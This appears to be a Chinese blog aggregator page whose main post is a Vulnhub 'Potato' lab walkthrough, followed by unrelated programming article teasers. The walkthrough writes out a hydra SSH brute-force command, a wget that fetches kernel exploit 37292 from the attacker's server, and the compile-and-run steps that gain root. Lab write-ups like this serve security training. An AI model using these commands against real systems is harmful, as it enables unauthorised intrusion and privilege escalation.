当前位置：首页 > news >正文

Potato靶机

news 2026/2/4 19:40:37

信息搜集

设备发现

扫描端口

综合扫描

开放了80端口的HTTP服务和7120端口的SSH服务

目录扫描

扫描目录

看看这个info.php，发现只有php的版本信息，没有可以利用的注入点

SSH突破

`hydra` 爆破

考虑到 7120 端口是 ssh 服务，尝试利用 hydra 进行 ssh 爆破，得到用户名：potato 密码：letmein

hydra -l potato -P top1000.txt -V ssh://192.168.88.138:7120

ssh渗透提权

用拿到 ssh 用户名和密码，登录 ssh

id查看发现是一个普通用户；uname -a查看发现ubuntu的版本很老，只有3.13.0

查看 Linux 内核信息，搜索后发现存在 exp，也可以searchsploit ubuntu 3.13.3，使用第一个漏洞进行攻击

使用该漏洞，

将漏洞传到靶机上，这里我们在kali上建立apache服务器，让目标主机通过网络将漏洞下载到本机上

service apache2 start   ---------开启服务器ss -tunlp                       ----------查看开启端口

将漏洞下载到服务器目录下

cd /var/www/html
searchsploit -m 37292

使用目标靶机下载服务器上的漏洞

wget http://192.168.88.128/37292.c

运行脚本提权

gcc 37292.c -o exp ----------编译脚本
chmod +777 exp -----------更改权限
./exp -------------执行脚本

提高交互性并且拿到root权限

找到flag，拿下

参考博客：

Potato靶机测试-CSDN博客

Vulnhub靶机实战-POTATO-WP_维梓-的博客-CSDN博客

Potato靶机

信息搜集设备发现扫描端口综合扫描开放了80端口的HTTP服务和7120端口的SSH服务目录扫描扫描目录看看这个info.php，发现只有php的版本信息，没有可以利用的注入点 SSH突破 hydra 爆破考虑到 7120 端口是 ssh 服务，尝试利用 hydra …...

编程日记 2023/10/16 7:57:35

【环境搭建】linux docker-compose安装gitlab和redis

gitlab需要redis，一起安装了新建gitlab和redis挂载目录 mkdir -p /data/docker/redis/data mkdir -p /data/docker/redis/logs mkdir -p /data/docker/redis/confmkdir -p /data/docker/gitlab/data mkdir -p /data/docker/gitlab/logs mkdir -p /data/docker/gi…...

编程日记 2023/10/16 7:56:34

JAVAEE初阶相关内容第十三弹--文件操作 IO

写在前终于完成了！！！！内容不多就是本人太拖拉！ 这里主要介绍文件input，output操作。File类，流对象（分为字节流、字符流） 需要掌握每个流对象的使用方式：打…...

编程日记 2023/10/16 7:55:32

POI报表的高级应用

POI报表的高级应用掌握基于模板打印的POI报表导出理解自定义工具类的执行流程熟练使用SXSSFWorkbook完成百万数据报表打印理解基于事件驱动的POI报表导入模板打印概述自定义生成Excel报表文件还是有很多不尽如意的地方，特别是针对复杂报表头，单…...

编程日记 2023/10/16 7:54:31

【计算机毕设选题推荐】超市管理系统SpringBoot+SSM+Vue

前言：我是IT源码社，从事计算机开发行业数年，专注Java领域，专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务项目名基于SpringBoot的超市管理系统技术栈 SpringBootVueMySQLMaven 文章目录一、超市管理系统…...

编程日记 2023/10/16 7:53:30

【算法1-4】递推与递归-P1002 [NOIP2002 普及组] 过河卒

## 题目描述棋盘上 A 点有一个过河卒，需要走到目标 B 点。卒行走的规则：可以向下、或者向右。同时在棋盘上 C 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。棋盘用坐标表示&#…...

编程日记 2023/10/16 7:52:29

浅谈压力测试的作用是什么

随着现代应用程序变得越来越复杂，用户的期望也在不断提高，对性能和可靠性的要求变得更加苛刻。在应用程序开发和维护的过程中，压力测试是一项至关重要的活动，它可以帮助发现潜在的问题、评估系统的性能极限，以及确保在…...

编程日记 2023/10/16 7:51:28

互联网Java工程师面试题·Java 总结篇·第一弹

目录 1、面向对象的特征有哪些方面？ 2、访问修饰符 public,private,protected,以及不写（默认）时的区别？ 3、String 是最基本的数据类型吗？ 4、float f3.4;是否正确？ 5、short s1 1; s1 s1 1;有错吗…...

编程日记 2023/10/16 7:50:27

Anylogic 读取和写入Excel文件

1、选择面板-连接-Excel文件，拖入到视图中然后在excel文件的属性中进行绑定外部excel文件。绑定完之后，在你需要读取的地方进行写代码， //定义开始读取的行数 //这里设为2，是因为第一行是数据名称 int row12; //读取excel文件信…...

编程日记 2023/10/16 7:49:26

茶百道全链路可观测实战

作者：山猎茶百道是四川成都的本土茶饮连锁品牌，创立于 2008 年。经过 15 年的发展，茶百道已成为餐饮标杆品牌，全国门店超 7000 家，遍布全国 31 个省市，实现中国大陆所有省份及各线级城市的全覆盖。2021 …...

编程日记 2023/10/16 7:48:25

Java-JDBC

JDBC JDBC英文名为：Java Data Base Connectivity(Java数据库连接)，官方解释它是Java编程语言和广泛的数据库之间独立于数据库的连接标准的Java API 根本上说JDBC是一种规范，它提供的接口，一套完整的，允许便捷式访问底…...

编程日记 2023/10/16 7:47:24

【ROS】Nav2源码之nav2_planner详解

【ROS】郭老二博文之：ROS目录 1、简述 nav2_planner是路径规划器，把起始位置、姿势的信息输入nav2_planner模块，将会生成可行路径。 nav2_planner路径规划器和nav2_controller控制器相似，也使用插件的形式加载不同的路径规划器。常用的路径规划器插件有： 1）NavFn Plan…...

编程日记 2023/10/16 7:46:23

mysql报SQLSTATE[22007]的错误的一个原因

最近在修改一个程序，打算将$video这个参数保存到数据库。修改的过程中出现错误。导致该程序不能发布新文章。在程序的一个db.php程序文件里使用var_dump($input, $stmt) ; 语句看到了错误信息，并找到了错误原因。信息里包含的错误代码是： SQ…...

编程日记 2023/10/16 7:45:22

Python —— UI自动化之三大等待与三大切换

1、三大等待 1、硬性等待 1、概述硬性等待也可以称之为强制等待，写法如下： time.sleep() 优点：使用简单缺点：等待时间把握不准，容易造成时间浪费或者等待时间不足 2、实战 from time import sleep from sele…...

编程日记 2023/10/16 7:44:21

初识容器Docker

目前使用 Docker 基本上有两个选择：Docker Desktop和Docker Engine。Docker Desktop 是专门针对个人使用而设计的，支持 Mac 和 Windows 快速安装，具有直观的图形界面，还集成了许多周边工具，方便易用。不是太推荐使用D…...

编程日记 2023/10/16 7:43:20

pikachu靶场搭建及通关

一、靶场搭建下载工具：phpstudy Pikachu靶机下载地址： https://github.com/zhuifengshaonianhanlu/pikachu 下载后解压缩并放入如下文件夹（网站根目录） 建议修改文件名称为 pikachu 修改配置文件（mysql 用户名&…...

编程日记 2023/10/16 7:42:20

选择排序（学习笔记）

选择排序选择排序的基本思想是冒泡排序，记录当前位置i和最小值k的位置，使用一个变量j往后寻找。每一轮找到最小值后与第一个元素进行交换，以此类推。不使用辅助变量交换两个元素的值方法 package com.company.sort;import java.util.Ra…...

编程日记 2023/10/16 7:41:18

PCL 生成球形点云

目录一、算法原理二、代码实现三、结果展示四、参考链接一、算法原理生成球体点云的方法有很多种，Marsaglia于1972年提出了一个简单易行的实现方法，它从(-1,1)上的独立均匀分布中选取 x 1 x_1 x...

编程日记 2023/10/16 7:40:16

Flutter 剪裁（Clip）

🔥 ClipOval 🔥 子组件为正方形时剪裁成内贴圆形；为矩形时，剪裁成内贴椭圆裁剪纯色背景 ClipOval(child: Container(width: 300.w,height: 300.w,decoration: const BoxDecoration(color: Colors.red),),), 裁剪背景图片裁剪前…...

编程日记 2023/10/16 7:39:15

嵌入式C语言自我修养《GNU C编译器扩展语法》学习笔记

目录一、C语言标准和编译器二、指定初始化三、宏构造“利器”：语句表达式四、typeof与container_of宏五、零长度数组六、属性声明：section 七、属性声明：aligned 一、C语言标准和编译器 C语言标准的发展过程： ●…...

编程日记 2023/10/16 7:38:13

label-studio的使用教程(导入本地路径)

文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...

编程新知 2026/1/20 7:07:44

理解 MCP 工作流：使用 Ollama 和 LangChain 构建本地 MCP 客户端

🌟 什么是 MCP？ 模型控制协议 (MCP) 是一种创新的协议，旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议，它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。可以把它想象成你的 AI 模型和想要使用它…...

编程新知 2026/1/27 17:31:07

macOS多出来了：Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录问题现象问题原因解决办法问题现象 macOS启动台（Launchpad）多出来了：Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。问题原因很明显，都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

编程新知 2025/12/4 19:00:05

css的定位（position）详解：相对定位绝对定位固定定位

在 CSS 中，元素的定位通过 position 属性控制，共有 5 种定位模式：static（静态定位）、relative（相对定位）、absolute（绝对定位）、fixed（固定定位）和…...

编程新知 2025/12/20 15:01:20

MySQL用户和授权

开放MySQL白名单可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务： test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

编程新知 2025/8/25 19:12:45